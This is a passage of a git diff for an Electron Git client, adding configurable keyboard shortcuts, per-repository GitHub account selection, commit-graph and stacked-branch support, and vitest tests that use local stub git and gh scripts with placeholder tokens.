label: 'Pull', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+P' }, + { id: 'fetch', label: 'Fetch', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+T' }, + { id: 'new-branch', label: 'New branch', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+N' }, + { id: 'delete-branch', label: 'Delete branch', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+Delete' }, + { id: 'merge-branch', label: 'Merge into current branch', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+M' }, + { id: 'squash-merge-branch', label: 'Squash and merge into current branch', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+H' }, + { id: 'rebase-branch', label: 'Rebase current branch', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+E' }, + { id: 'update-from-default', label: 'Update from default branch', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+U' }, + { id: 'compare-branch', label: 'Compare to branch', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+B' }, + { id: 'compare-on-github', label: 'Compare on GitHub', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+C' }, + { id: 'create-pull-request', label: 'Create pull request', category: 'Git ops', accelerator: 'CmdOrCtrl+R' }, + { id: 'review-pull-request', label: 'Review pull request with AI', category: 'AI', accelerator: 'CmdOrCtrl+Shift+R' }, + { id: 'view-on-github', label: 'View on GitHub', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+G' }, + { id: 'create-issue', label: 'Create issue on GitHub', category: 'Git ops', accelerator: 'CmdOrCtrl+I' }, +]; + +/** Accelerators the native menu's built-in items own (edit roles, DevTools, fullscreen); not rebindable, so no action may take them. */ +const FIXED: readonly { accelerator: string; label: string }[] = [ + { accelerator: 'CmdOrCtrl+Z', label: 'Undo' }, + { accelerator: 'CmdOrCtrl+Shift+Z', label: 'Redo' }, + { accelerator: 'CmdOrCtrl+X', label: 'Cut' }, + { accelerator: 'CmdOrCtrl+C', label: 'Copy' }, + { accelerator: 'CmdOrCtrl+V', label: 'Paste' }, + { accelerator: 'CmdOrCtrl+A', label: 'Select all' }, + { accelerator: 'CmdOrCtrl+Shift+I', label: 'Toggle developer tools' }, + { accelerator: 'F11', label: 'Toggle full screen' }, + { accelerator: 'CmdOrCtrl+Alt+N', label: 'New window' }, +]; + +// --------------------------------------------------------------------------- +// Accelerator parsing +// --------------------------------------------------------------------------- + +type Mod = 'CmdOrCtrl' | 'Ctrl' | 'Alt' | 'Shift' | 'Meta'; +/** Display / storage order of modifiers. */ +const MOD_ORDER: readonly Mod[] = ['CmdOrCtrl', 'Ctrl', 'Alt', 'Shift', 'Meta']; +const MODS: Record = { + cmdorctrl: 'CmdOrCtrl', + commandorcontrol: 'CmdOrCtrl', + ctrl: 'Ctrl', + control: 'Ctrl', + alt: 'Alt', + option: 'Alt', + shift: 'Shift', + cmd: 'Meta', + command: 'Meta', + super: 'Meta', + meta: 'Meta', +}; +const PUNCTUATION = '`-=[]\\;\',./'; +const NAMED_KEYS = ['Space', 'Tab', 'Backspace', 'Delete', 'Insert', 'Enter', 'Up', 'Down', 'Left', 'Right', 'Home', 'End', 'PageUp', 'PageDown', 'Escape']; +const KEY_ALIASES: Record = { return: 'Enter', esc: 'Escape' }; + +interface Parsed { + mods: Set; + key: string; +} + +function normalizeKey(raw: string): string | null { + if (/^[a-z0-9]$/i.test(raw)) return raw.toUpperCase(); + if (/^f([1-9]|1\d|2[0-4])$/i.test(raw)) return raw.toUpperCase(); + if (raw.length === 1 && PUNCTUATION.includes(raw)) return raw; + const lower = raw.toLowerCase(); + const wanted = Object.hasOwn(KEY_ALIASES, lower) ? KEY_ALIASES[lower] : lower; + return NAMED_KEYS.find((k) => k.toLowerCase() === wanted.toLowerCase()) ?? null; +} + +/** Null when `accelerator` is not one Electron accepts AND we can match: modifiers then one key; needs a non-Shift modifier unless it is a function key. */ +function parse(accelerator: string): Parsed | null { + const parts = accelerator.split('+'); + const key = normalizeKey(parts.pop() ?? ''); + if (!key) return null; + const mods = new Set(); + for (const part of parts) { + const mod = Object.hasOwn(MODS, part.toLowerCase()) ? MODS[part.toLowerCase()] : undefined; + if (!mod) return null; + mods.add(mod); + } + if (!/^F\d+$/.test(key) && ![...mods].some((m) => m !== 'Shift')) return null; + return { mods, key }; +} + +export function isValidAccelerator(accelerator: unknown): accelerator is string { + return typeof accelerator === 'string' && parse(accelerator) !== null; +} + +/** Platform-resolved comparison form: `CmdOrCtrl` becomes Cmd (Meta) on macOS and Ctrl elsewhere. Null for an invalid accelerator. */ +export function canonicalAccelerator(accelerator: string, isMac: boolean): string | null { + const parsed = parse(accelerator); + if (!parsed) return null; + const mods = new Set([...parsed.mods].map((m) => (m === 'CmdOrCtrl' ? (isMac ? 'Meta' : 'Ctrl') : m))); + return [...MOD_ORDER.filter((m) => mods.has(m)), parsed.key].join('+'); +} + +/** How an accelerator reads in the UI: `CmdOrCtrl` as the platform's modifier (⌘ / Ctrl). */ +export function formatAccelerator(accelerator: string, isMac: boolean): string { + const parsed = parse(accelerator); + if (!parsed) return accelerator; + const label: Record = { CmdOrCtrl: isMac ? '⌘' : 'Ctrl', Ctrl: isMac ? '⌃' : 'Ctrl', Alt: 'Alt', Shift: 'Shift', Meta: isMac ? '⌘' : 'Super' }; + return [...MOD_ORDER.filter((m) => parsed.mods.has(m)).map((m) => label[m]), parsed.key].join('+'); +} + +// --------------------------------------------------------------------------- +// KeyboardEvent <-> accelerator +// --------------------------------------------------------------------------- + +/** The part of a KeyboardEvent we read; `code` (physical key) keeps Shift/Option from changing the key's identity. */ +export interface KeyLike { + code: string; + ctrlKey: boolean; + metaKey: boolean; + altKey: boolean; + shiftKey: boolean; +} + +const CODE_KEYS: Record = { + Backquote: '`', + Minus: '-', + Equal: '=', + BracketLeft: '[', + BracketRight: ']', + Backslash: '\\', + Semicolon: ';', + Quote: "'", + Comma: ',', + Period: '.', + Slash: '/', + Space: 'Space', + Tab: 'Tab', + Backspace: 'Backspace', + Delete: 'Delete', + Insert: 'Insert', + Enter: 'Enter', + NumpadEnter: 'Enter', + ArrowUp: 'Up', + ArrowDown: 'Down', + ArrowLeft: 'Left', + ArrowRight: 'Right', + Home: 'Home', + End: 'End', + PageUp: 'PageUp', + PageDown: 'PageDown', + Escape: 'Escape', +}; + +/** The accelerator key for an event's physical key; null for modifier-only presses and keys we cannot bind. */ +function eventKey(code: string): string | null { + const m = /^(?:Key([A-Z])|Digit(\d)|(F(?:[1-9]|1\d|2[0-4])))$/.exec(code); + if (m) return m[1] ?? m[2] ?? m[3]; + return Object.hasOwn(CODE_KEYS, code) ? CODE_KEYS[code] : null; +} + +/** What a key press means as a stored accelerator (`CmdOrCtrl` for this platform's primary modifier); null if it is not a bindable combination. */ +export function acceleratorFromEvent(e: KeyLike, isMac: boolean): string | null { + const key = eventKey(e.code); + if (!key) return null; + const primary = isMac ? e.metaKey : e.ctrlKey; + const mods = [primary && 'CmdOrCtrl', (isMac ? e.ctrlKey : e.metaKey) && (isMac ? 'Ctrl' : 'Meta'), e.altKey && 'Alt', e.shiftKey && 'Shift'].filter(Boolean); + const accelerator = [...mods, key].join('+'); + return isValidAccelerator(accelerator) ? accelerator : null; +} + +/** True when the key press is exactly `accelerator` (modifiers included); the renderer's counterpart of a menu accelerator. */ +export function matchesAccelerator(accelerator: string | null | undefined, e: KeyLike, isMac: boolean): boolean { + if (!accelerator) return false; + const pressed = acceleratorFromEvent(e, isMac); + return pressed !== null && canonicalAccelerator(pressed, isMac) === canonicalAccelerator(accelerator, isMac); +} + +// --------------------------------------------------------------------------- +// Defaults + overrides +// --------------------------------------------------------------------------- + +const DEFAULTS: Record = Object.fromEntries(SHORTCUTS.map((d) => [d.id, d.accelerator])); + +/** Keeps only known action ids whose value is null or a valid accelerator (settings files and imports are hand-editable). */ +export function sanitizeShortcutOverrides(raw: unknown): ShortcutOverrides { + const out: ShortcutOverrides = {}; + if (!raw || typeof raw !== 'object' || Array.isArray(raw)) return out; + for (const [id, value] of Object.entries(raw)) { + if (Object.hasOwn(DEFAULTS, id) && (value === null || isValidAccelerator(value))) out[id] = value; + } + return out; +} + +/** The accelerator in force for every action: its default unless overridden (null = unbound). */ +export function mergeShortcuts(overrides?: unknown): ShortcutMap { + const valid = sanitizeShortcutOverrides(overrides); + return Object.fromEntries(SHORTCUTS.map((d) => [d.id, Object.hasOwn(valid, d.id) ? valid[d.id] : d.accelerator])); +} + +/** Overrides after binding `id` to `accelerator` (null unbinds); binding the default drops the override. */ +export function setShortcut(overrides: ShortcutOverrides, id: string, accelerator: string | null): ShortcutOverrides { + const next = { ...overrides }; + if (accelerator === DEFAULTS[id]) delete next[id]; + else next[id] = accelerator; + return next; +} + +export interface ShortcutConflict { + /** The action holding the accelerator; null for a fixed menu item that cannot be unbound. */ + id: string | null; + label: string; +} + +/** The action (or fixed menu item) that already uses `accelerator`, ignoring `id` itself; null when it is free. */ +export function findConflict(shortcuts: ShortcutMap, id: string, accelerator: string, isMac: boolean): ShortcutConflict | null { + const wanted = canonicalAccelerator(accelerator, isMac); + if (!wanted) return null; + for (const def of SHORTCUTS) { + const other = shortcuts[def.id]; + if (def.id !== id && other && canonicalAccelerator(other, isMac) === wanted) return { id: def.id, label: def.label }; + } + const fixed = FIXED.find((f) => canonicalAccelerator(f.accelerator, isMac) === wanted); + return fixed ? { id: null, label: fixed.label } : null; +} diff --git a/src/shared/types.ts b/src/shared/types.ts index 0b0d32a..42adc4a 100644 --- a/src/shared/types.ts +++ b/src/shared/types.ts @@ -2,6 +2,7 @@ * Shared data types that cross the IPC boundary between the Electron main * process and the renderer. Keep this file free of Node or DOM specifics. */ +import type { ShortcutOverrides } from './shortcuts'; export type Theme = 'system' | 'light' | 'dark'; export type DiffViewMode = 'unified' | 'split'; @@ -126,6 +127,8 @@ export interface AppSettings { showUnpushedWorkIndicator: boolean; /** Verify commit signatures while loading History (adds %G?/%GS/%GK to the log format, which is slower on large histories). Default off. */ historyVerifySignatures: boolean; + /** Draw the commit graph (branch lanes) beside the History list. Only shown while no search/filter/file path narrows the list; hidden on phone layouts. */ + historyGraph: boolean; /** Poll GitHub notifications for the Inbox. Defaults to on once signed in; has no effect while signed out. */ notificationsEnabled: boolean; /** Minimum minutes between notification polls; the server's own X-Poll-Interval is honoured when it asks for longer. */ @@ -146,6 +149,8 @@ export interface AppSettings { * never leave the machine through a settings export or gist sync. */ watchedFolders: WatchedFolder[]; + /** Keyboard shortcut overrides by action id (an accelerator, or null = unbound); see `shared/shortcuts.ts`. Part of the portable preferences. */ + shortcuts: ShortcutOverrides; ai: AiSettings; } @@ -298,8 +303,13 @@ export interface RepositoryInfo { group?: string | null; /** Machine-local: add a `Signed-off-by` trailer (`git commit --signoff`) to commits in this repository. */ signoff?: boolean; + /** Machine-local: gh account used for this repository's gh calls and git network operations (token from `gh auth token --user`); absent = the host's active account. Never exported. */ + githubAccount?: { host: string; login: string }; } +/** Machine-local per-repository prefs `repos.setPrefs` accepts; only the keys present change (`githubAccount: null` returns to the host's active account). */ +export type RepoPrefs = Pick & { githubAccount?: RepositoryInfo['githubAccount'] | null }; + /** `RepositoryInfo.origin` with the default applied: entries written before watched folders existed are manual. */ export function repositoryOrigin(repo: Pick): 'manual' | 'watched' { return repo.origin === 'watched' ? 'watched' : 'manual'; @@ -434,6 +444,31 @@ export interface InProgressOperation { message: string | null; } +/** One `git reflog` entry for HEAD, newest first; `index` is N in `HEAD@{N}`. `action` is the text before the first ": " (e.g. "commit (amend)", "checkout"), `message` the rest. */ +export interface ReflogEntry { + index: number; + sha: string; + action: string; + message: string; + /** Epoch ms. */ + timestamp: number; +} + +/** What "Undo last Git operation" would do: move HEAD back to `target` (reset --keep) or switch back to the previous branch/commit. */ +export type UndoPlan = { kind: 'reset'; description: string; target: ReflogEntry } | { kind: 'checkout'; description: string; ref: string; isBranch: boolean }; + +/** An in-progress `git bisect`. `remaining`/`steps` are null until both a good and a bad commit are known. */ +export interface BisectState { + bad: string | null; + good: string[]; + /** The commit currently checked out for testing. */ + head: { sha: string; summary: string } | null; + remaining: number | null; + steps: number | null; + /** Set once git has narrowed the range to a single commit. */ + firstBad: { sha: string; summary: string } | null; +} + export interface BranchState { name: string | null; sha: string | null; @@ -475,6 +510,13 @@ export interface Branch { upstreamGone: boolean; } +/** The current branch's stack of branches below it (oldest first); see getStackParents in src/main/git/branches.ts. */ +export interface BranchStack { + parents: string[]; + /** False when the installed git predates `rebase --update-refs` (2.38). */ + canUpdateRefs: boolean; +} + export interface Tag { name: string; sha: string; @@ -756,6 +798,15 @@ export interface GitHubAccount { protocol: string | null; } +/** One signed-in `gh` account (every host/login `gh auth status` lists); `active` is the account gh uses by default on that host. */ +export interface GhAccountEntry { + host: string; + login: string; + active: boolean; + scopes: string[]; + protocol: string | null; +} + export interface ToolInfo { installed: boolean; version: string | null; @@ -764,6 +815,8 @@ export interface ToolInfo { /** Set when the installed version is below the supported minimum (still usable; the UI only warns). */ outdated?: boolean; minVersion?: string; + /** True until this tool's startup probe finishes (git is always settled before the first state is served); the UI shows "checking…" instead of "not found". */ + pending?: boolean; } export interface ToolsState { @@ -774,6 +827,8 @@ export interface ToolsState { gpg: ToolInfo; sshKeygen: ToolInfo; ghAccount: GitHubAccount | null; + /** Every signed-in gh account across hosts, active ones flagged; `ghAccount` is the primary active one with its profile. */ + ghAccounts: GhAccountEntry[]; ghAuthError: string | null; credentialHelperConfigured: boolean; } @@ -1837,10 +1892,12 @@ export interface PortablePreferences { healthLargeFileThresholdBytes: number; showUnpushedWorkIndicator: boolean; historyVerifySignatures: boolean; + historyGraph: boolean; notificationsEnabled: boolean; notificationsPollIntervalMinutes: number; notifyMentions: boolean; notifyReviewRequests: boolean; + shortcuts: ShortcutOverrides; ai: PortableAiSettings; } @@ -1936,6 +1993,7 @@ export const DEFAULT_SETTINGS: AppSettings = { healthLargeFileThresholdBytes: 5 * 1024 * 1024, showUnpushedWorkIndicator: false, historyVerifySignatures: false, + historyGraph: true, notificationsEnabled: true, notificationsPollIntervalMinutes: 2, notifyMentions: true, @@ -1944,6 +2002,7 @@ export const DEFAULT_SETTINGS: AppSettings = { autoDownloadUpdates: true, updateChannel: 'stable', watchedFolders: [], + shortcuts: {}, ai: { provider: 'anthropic', model: 'claude-opus-5', diff --git a/test/event-routing.test.ts b/test/event-routing.test.ts new file mode 100644 index 0000000..f9944d1 --- /dev/null +++ b/test/event-routing.test.ts @@ -0,0 +1,43 @@ +import { describe, expect, it } from 'vitest'; +import { windowClientId, windowsFor } from '../src/main/core/event-routing'; + +const windows = [1, 2, 3].map((id) => ({ id, clientId: windowClientId(id) })); +const nobody = () => []; + +describe('windowClientId', () => { + it('gives every window its own, stable client id', () => { + const ids = windows.map((w) => w.clientId); + expect(new Set(ids).size).toBe(3); + expect(windowClientId(2)).toBe(ids[1]); + expect(ids).not.toContain(''); // '' is the "no calling window" context + }); +}); + +describe('windowsFor', () => { + it('sends a calling window its own progress and AI events only', () => { + for (const event of ['progress', 'ai.progress', 'ai.review.progress', 'ai.split.progress', 'gh.auth.code'] as const) { + expect(windowsFor(event, {}, windowClientId(2), windows, nobody).map((w) => w.id)).toEqual([2]); + } + }); + + it('falls back to every window when a caller event has no calling window', () => { + expect(windowsFor('progress', {}, '', windows, nobody)).toHaveLength(3); + }); + + it('sends repo.changed to the windows that have that repository open, whoever caused it', () => { + const watchers = (repoPath: string) => (repoPath === '/repo/a' ? [windowClientId(1), windowClientId(3)] : []); + expect(windowsFor('repo.changed', { repoPath: '/repo/a', reason: 'both' }, windowClientId(2), windows, watchers).map((w) => w.id)).toEqual([1, 3]); + expect(windowsFor('repo.changed', { repoPath: '/repo/b', reason: 'both' }, '', windows, watchers)).toEqual([]); + }); + + it('broadcasts app-wide events to every window regardless of the caller', () => { + for (const event of ['repos.changed', 'settings.changed', 'tools.changed', 'gh.inbox.changed', 'app.update.changed', 'theme.changed', 'repos.scanProgress'] as const) { + expect(windowsFor(event, {}, windowClientId(2), windows, nobody)).toHaveLength(3); + } + }); + + it('ignores clients that are not a window', () => { + const watchers = () => ['not-a-window']; + expect(windowsFor('repo.changed', { repoPath: '/x' }, '', windows, watchers)).toEqual([]); + }); +}); diff --git a/test/fixture/history-graph.test.ts b/test/fixture/history-graph.test.ts new file mode 100644 index 0000000..d2f0710 --- /dev/null +++ b/test/fixture/history-graph.test.ts @@ -0,0 +1,40 @@ +import { describe, expect, it } from 'vitest'; +import { extendGraph } from '../../src/shared/graph'; +import { GitClient } from '../../src/main/git/git'; +import { getHistory } from '../../src/main/git/log'; +import { createRepo, hasGitSync } from '../helpers/repo'; + +describe.skipIf(!hasGitSync())('history in graph order', () => { + it('lists children before parents even with clock skew, and pages lay out like one pass', async () => { + const repo = await createRepo({ commits: [{ message: 'base', files: { 'a.txt': '0\n' }, date: '2020-01-01T00:00:00Z' }] }); + try { + repo.git(['checkout', '-q', '-b', 'side']); + // The side branch's commits carry later timestamps than the merge below. + repo.commit({ message: 's1', files: { 's.txt': '1\n' }, date: '2031-01-01T00:00:00Z' }); + repo.commit({ message: 's2', files: { 's.txt': '2\n' }, date: '2031-01-02T00:00:00Z' }); + repo.git(['checkout', '-q', 'main']); + repo.commit({ message: 'm1', files: { 'm.txt': '1\n' }, date: '2021-01-01T00:00:00Z' }); + repo.git(['merge', '--no-ff', '-q', '-m', 'merge side', 'side'], undefined); + repo.commit({ message: 'm2', files: { 'm.txt': '2\n' }, date: '2021-06-01T00:00:00Z' }); + + const git = new GitClient(repo.tools()); + const opts = { ref: null, path: null, search: null, follow: false, graph: true }; + const all = (await getHistory(git, repo.path, { ...opts, skip: 0, limit: 50 })).commits; + expect(all).toHaveLength(6); + const index = new Map(all.map((c, i) => [c.sha, i])); + for (const c of all) for (const p of c.parents) expect(index.get(p)!).toBeGreaterThan(index.get(c.sha)!); + + // Two pages of 3 reproduce the same order (deterministic under --skip) and the same lanes when extended incrementally. + const p1 = await getHistory(git, repo.path, { ...opts, skip: 0, limit: 3 }); + const p2 = await getHistory(git, repo.path, { ...opts, skip: 3, limit: 3 }); + expect(p1.hasMore).toBe(true); + const paged = [...p1.commits, ...p2.commits]; + expect(paged.map((c) => c.sha)).toEqual(all.map((c) => c.sha)); + const incremental = extendGraph(extendGraph(null, p1.commits), paged); + expect(incremental.rows).toEqual(extendGraph(null, all).rows); + expect(incremental.width).toBe(2); + } finally { + await repo.dispose(); + } + }); +}); diff --git a/test/fixture/repo-account.test.ts b/test/fixture/repo-account.test.ts new file mode 100644 index 0000000..4a07edd --- /dev/null +++ b/test/fixture/repo-account.test.ts @@ -0,0 +1,144 @@ +import { execFileSync } from 'node:child_process'; +import { chmod, mkdir, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { repoScope } from '../../src/main/core/client-context'; +import { gitAccountEnv } from '../../src/main/gh/accounts'; +import { GhClient } from '../../src/main/gh/gh'; +import { GitClient } from '../../src/main/git/git'; +import type { Store } from '../../src/main/store'; +import { ToolLocator } from '../../src/main/tools'; +import { DEFAULT_SETTINGS, type AppSettings, type RepositoryInfo } from '../../src/shared/types'; + +// Stub tools are POSIX shell scripts. +const posix = process.platform !== 'win32'; + +let dir: string; +let work: string; + +beforeEach(async () => { + dir = await mkdtemp(join(tmpdir(), 'gitgood-account-')); + work = join(dir, 'work'); + await mkdir(work); + vi.stubEnv('SHELL', '/bin/sh'); // a fast login shell for the shared PATH lookup + vi.stubEnv('GH_TOKEN', ''); +}); + +afterEach(async () => { + vi.unstubAllEnvs(); + await rm(dir, { recursive: true, force: true }); +}); + +async function stub(name: string, body: string): Promise { + const path = join(dir, name); + await writeFile(path, `#!/bin/sh\n${body}\n`); + await chmod(path, 0o755); + return path; +} + +function locator(settings: Partial, repositories: Partial[] = []): ToolLocator { + const full = { ...DEFAULT_SETTINGS, ...settings, ai: { ...DEFAULT_SETTINGS.ai, ...(settings.ai ?? {}) } }; + return new ToolLocator({ getSettings: () => full, getRepositories: () => repositories as RepositoryInfo[] } as unknown as Store); +} + +describe.skipIf(!posix)('tool probes', () => { + it('lets git run while a slow claude probe is still running, then reports claude when it finishes', async () => { + const git = await stub('git', 'echo "git version 2.45.0"'); + const claude = await stub('claude', 'if [ "$1" = "--version" ]; then sleep 2; echo "1.2.3 (Claude Code)"; fi'); + const tools = locator({ gitPath: git, ai: { claudeCliPath: claude } as AppSettings['ai'] }); + const changes: string[] = []; + tools.onChange((s) => changes.push(s.claudeCli.pending ? 'claude-pending' : 'claude-done')); + + const started = Date.now(); + const out = await new GitClient(tools).run(dir, ['version']); + const elapsed = Date.now() - started; + + expect(out.stdout).toContain('git version'); + expect(elapsed).toBeLessThan(1500); + expect(tools.current().claudeCli.pending).toBe(true); + + await tools.ensure('claudeCli'); + expect(tools.current().claudeCli).toMatchObject({ installed: true, version: '1.2.3 (Claude Code)' }); + expect(changes.at(-1)).toBe('claude-done'); + }); +}); + +describe.skipIf(!posix)('repository GitHub account', () => { + const REPO_ACCOUNT = { host: 'github.com', login: 'work-bot' }; + + async function setup(repositories: 'chosen' | 'none') { + const envLog = join(dir, 'env.log'); + const tokenCalls = join(dir, 'token-calls.log'); + // git/gh stubs dump the env vars the account feature sets, one block per run, and record `gh auth token` calls. + const dump = `{ echo "ARGV=$*"; echo "GH_TOKEN=$GH_TOKEN"; echo "COUNT=$GIT_CONFIG_COUNT"; echo "HELPER_TOKEN=$GITGOOD_ACCOUNT_TOKEN"; } >> "${envLog}"`; + const git = await stub('git', `case "$*" in *--version*) echo "git version 2.45.0";; *) ${dump};; esac`); + const gh = await stub('gh', `case "$*" in *--version*) echo "gh version 2.101.0";; "auth token --hostname github.com --user work-bot") echo x >> "${tokenCalls}"; echo "tok_work";; *) ${dump};; esac`); + const repo: Partial = { path: work, ...(repositories === 'chosen' ? { githubAccount: REPO_ACCOUNT } : {}) }; + const tools = locator({ gitPath: git, ghPath: gh }, [repo]); + return { tools, envLog, tokenCalls }; + } + + const blocks = async (file: string) => (await readFile(file, 'utf8')).trim().split(/(?=ARGV=)/); + + it('fetches the token once and injects it into push and fetch, but not into local commands', async () => { + const { tools, envLog, tokenCalls } = await setup('chosen'); + const git = new GitClient(tools); + await git.run(work, ['push', 'origin', 'main']).catch(() => undefined); + await git.run(work, ['fetch', '--prune']); + await git.run(work, ['push', 'origin', 'main']); + await git.run(work, ['status']); + + const runs = (await blocks(envLog)).map((b) => ({ argv: /ARGV=(.*)/.exec(b)![1], token: /GH_TOKEN=(.*)/.exec(b)![1], count: /COUNT=(.*)/.exec(b)![1] })); + const network = runs.filter((r) => /--no-pager (push|fetch)/.test(r.argv)); + expect(network).toHaveLength(3); + for (const r of network) expect(r).toMatchObject({ token: 'tok_work', count: '2' }); + expect(runs.find((r) => r.argv.endsWith('status'))).toMatchObject({ token: '', count: '' }); + expect((await readFile(tokenCalls, 'utf8')).trim().split('\n')).toHaveLength(1); + }); + + it('does not touch a repository that follows the active account', async () => { + const { tools, envLog } = await setup('none'); + await new GitClient(tools).run(work, ['push']); + expect(await readFile(envLog, 'utf8')).toContain('GH_TOKEN=\n'); + }); + + it('runs gh as the repository account for its cwd and for a handler scoped to the repository', async () => { + const { tools, envLog } = await setup('chosen'); + const gh = new GhClient(tools); + await gh.run(['repo', 'view'], { cwd: work }).catch(() => undefined); + await repoScope.run(work, () => gh.run(['pr', 'list'])); + await gh.run(['gist', 'list']); // no repository in play: the active account + const runs = (await blocks(envLog)).map((b) => ({ argv: /ARGV=(.*)/.exec(b)![1], token: /GH_TOKEN=(.*)/.exec(b)![1] })); + expect(runs.find((r) => r.argv.startsWith('pr list'))?.token).toBe('tok_work'); + expect(runs.find((r) => r.argv.startsWith('gist list'))?.token).toBe(''); + }); + + it('refuses to fall back to another identity when the chosen account is no longer signed in', async () => { + const git = await stub('git', 'echo "git version 2.45.0"'); + const gh = await stub('gh', 'case "$*" in *--version*) echo "gh version 2.101.0";; *) echo "no token found" >&2; exit 1;; esac'); + const tools = locator({ gitPath: git, ghPath: gh }, [{ path: work, githubAccount: REPO_ACCOUNT }]); + await expect(new GitClient(tools).run(work, ['push'])).rejects.toMatchObject({ info: { code: 'gh-not-authenticated' } }); + }); +}); + +describe('credential helper env', () => { + it('makes git itself answer credential requests for the host with the account token', () => { + let out: string; + try { + out = execFileSync('git', ['credential', 'fill'], { + input: 'protocol=https\nhost=github.com\n\n', + env: { ...process.env, ...gitAccountEnv('github.com', 'tok_abc', process.env), GIT_TERMINAL_PROMPT: '0' }, + encoding: 'utf8', + }); + } catch (err) { + // Git older than 2.31 ignores GIT_CONFIG_COUNT and falls back to the gh helper; nothing to assert there. + if ((err as NodeJS.ErrnoException).code === 'ENOENT') return; + const version = /git version (\d+)\.(\d+)/.exec(execFileSync('git', ['--version'], { encoding: 'utf8' })); + if (version && (Number(version[1]) < 2 || (Number(version[1]) === 2 && Number(version[2]) < 31))) return; + throw err; + } + expect(out).toContain('username=x-access-token'); + expect(out).toContain('password=tok_abc'); + }); +}); diff --git a/test/fixture/repo-watch-clients.test.ts b/test/fixture/repo-watch-clients.test.ts index ef6efed..4408f03 100644 --- a/test/fixture/repo-watch-clients.test.ts +++ b/test/fixture/repo-watch-clients.test.ts @@ -67,4 +67,18 @@ describe.skipIf(!hasGitSync())('repository watching per client', () => { await as('desktop', () => manager!.releaseClient('desktop')); await expectNoChange(one, '4\n'); }); + + it('reports which clients have a repository open, following switches and releases', async () => { + const [one, two] = await setup(); + await as('window-1', () => manager!.open(one.path)); + await as('window-2', () => manager!.open(one.path)); + expect(manager!.clientsWatching(one.path).sort()).toEqual(['window-1', 'window-2']); + + await as('window-2', () => manager!.open(two.path)); + expect(manager!.clientsWatching(one.path)).toEqual(['window-1']); + expect(manager!.clientsWatching(two.path)).toEqual(['window-2']); + + manager!.releaseClient('window-1'); + expect(manager!.clientsWatching(one.path)).toEqual([]); + }); }); diff --git a/test/fixture/stacked-branches.test.ts b/test/fixture/stacked-branches.test.ts new file mode 100644 index 0000000..6e49197 --- /dev/null +++ b/test/fixture/stacked-branches.test.ts @@ -0,0 +1,96 @@ +import { afterEach, describe, expect, it } from 'vitest'; +import { getStackParents } from '../../src/main/git/branches'; +import { GitClient } from '../../src/main/git/git'; +import { pushStack, pushStackArgs, rebase } from '../../src/main/git/operations'; +import { createRepo, hasGitSync, type TestRepo } from '../helpers/repo'; + +/** main -> a -> b -> c, each branch one commit on top of the previous one; c is checked out. */ +async function stackedRepo(remote = false): Promise { + const repo = await createRepo({ commits: [{ message: 'init', files: { 'base.txt': '1\n' } }], remote }); + for (const name of ['a', 'b', 'c']) { + repo.git(['checkout', '-q', '-b', name]); + repo.commit({ message: `work on ${name}`, files: { [`${name}.txt`]: `${name}\n` } }); + } + return repo; +} + +describe.skipIf(!hasGitSync())('stacked branches', () => { + let repo: TestRepo | undefined; + afterEach(async () => { + await repo?.dispose(); + repo = undefined; + }); + + it('detects the branches below the current one, oldest first', async () => { + repo = await stackedRepo(); + const git = new GitClient(repo.tools()); + expect(await getStackParents(git, repo.path)).toEqual(['a', 'b']); + repo.git(['checkout', '-q', 'b']); + expect(await getStackParents(git, repo.path)).toEqual(['a']); + repo.git(['checkout', '-q', 'a']); + expect(await getStackParents(git, repo.path)).toEqual([]); + repo.git(['checkout', '-q', 'main']); + expect(await getStackParents(git, repo.path)).toEqual([]); + }); + + it('does not count a sibling at the same commit, an unrelated branch, or a merged parent', async () => { + repo = await stackedRepo(); + repo.git(['branch', 'c-twin']); + repo.git(['branch', 'other', 'main']); + const git = new GitClient(repo.tools()); + expect(await getStackParents(git, repo.path)).toEqual(['a', 'b']); + // Once `a` lands on main it is no longer part of the stack. + repo.git(['checkout', '-q', 'main']); + repo.git(['merge', '-q', '--ff-only', 'a']); + repo.git(['checkout', '-q', 'c']); + expect(await getStackParents(git, repo.path)).toEqual(['b']); + }); + + it('rebase --update-refs moves the stack along; a plain rebase leaves the parents behind', async () => { + repo = await stackedRepo(); + repo.git(['checkout', '-q', 'main']); + repo.commit({ message: 'main moves on', files: { 'main.txt': 'x\n' } }); + repo.git(['checkout', '-q', 'c']); + const git = new GitClient(repo.tools()); + const isAncestor = (a: string, b: string) => { + try { + repo!.git(['merge-base', '--is-ancestor', a, b]); + return true; + } catch { + return false; + } + }; + + const before = repo.git(['rev-parse', 'a', 'b']); + expect(await rebase(git, repo.path, 'main', true)).toEqual({ status: 'complete' }); + expect(repo.git(['rev-parse', 'a', 'b'])).not.toBe(before); + expect(isAncestor('main', 'a') && isAncestor('a', 'b') && isAncestor('b', 'c')).toBe(true); + expect(await getStackParents(git, repo.path)).toEqual(['a', 'b']); + + // Same setup, no --update-refs: a and b stay on the old main. + repo.git(['reset', '-q', '--hard', 'ORIG_HEAD']); + repo.git(['branch', '-f', 'a', before.split('\n')[0]]); + repo.git(['branch', '-f', 'b', before.split('\n')[1]]); + await rebase(git, repo.path, 'main'); + expect(repo.git(['rev-parse', 'a', 'b'])).toBe(before); + expect(isAncestor('main', 'a')).toBe(false); + }); + + it('builds a lease push for the whole stack, adding --set-upstream only when asked', () => { + expect(pushStackArgs('origin', ['a', 'b', 'c'], false)).toEqual(['push', '--progress', '--force-with-lease', 'origin', 'a', 'b', 'c']); + expect(pushStackArgs('origin', ['a', 'c'], true)).toEqual(['push', '--progress', '--force-with-lease', '--set-upstream', 'origin', 'a', 'c']); + expect(() => pushStackArgs('origin', ['-f'], false)).toThrow(); + }); + + it('pushes every stack branch to the remote, including unpublished ones', async () => { + repo = await stackedRepo(true); + repo.git(['push', '-q', 'origin', 'a']); + const git = new GitClient(repo.tools()); + const pushed = await pushStack(git, repo.path, () => 